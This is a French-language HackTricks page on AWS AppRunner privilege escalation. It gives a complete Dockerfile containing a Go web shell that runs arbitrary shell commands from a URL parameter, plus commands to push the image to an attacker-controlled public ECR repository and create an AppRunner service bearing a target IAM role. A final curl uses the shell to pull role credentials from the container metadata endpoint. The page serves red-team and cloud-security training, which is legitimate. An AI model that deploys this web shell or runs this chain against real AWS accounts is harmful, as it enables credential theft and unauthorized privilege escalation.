AWS - AppRunner Privesc

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

AppRunner

iam:PassRole, apprunner:CreateService

Un attaquant disposant de ces autorisations peut créer un service AppRunner avec un rôle IAM attaché, ce qui peut potentiellement entraîner une élévation de privilèges en accédant aux informations d'identification du rôle.

L'attaquant crée d'abord un Dockerfile qui sert de web shell pour exécuter des commandes arbitraires sur le conteneur AppRunner.

Dockerfile
FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main

import (
"fmt"
"net/http"
"os/exec"
)

func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}

fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]

Ensuite, poussez cette image vers un dépôt ECR. En poussant l'image vers un dépôt public dans un compte AWS contrôlé par l'attaquant, l'escalade de privilèges est possible même si le compte de la victime n'a pas les autorisations nécessaires pour manipuler ECR.

sh
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws

Ensuite, l'attaquant crée un service AppRunner configuré avec cette image de web shell et le rôle IAM qu'il souhaite exploiter.

bash
aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl

Après avoir attendu la création du service, utilisez le shell web pour récupérer les identifiants du conteneur et obtenir les autorisations du rôle IAM attaché à AppRunner.

sh
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'

Impact potentiel : Escalade de privilèges directe vers tout rôle IAM pouvant être attaché aux services AppRunner.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks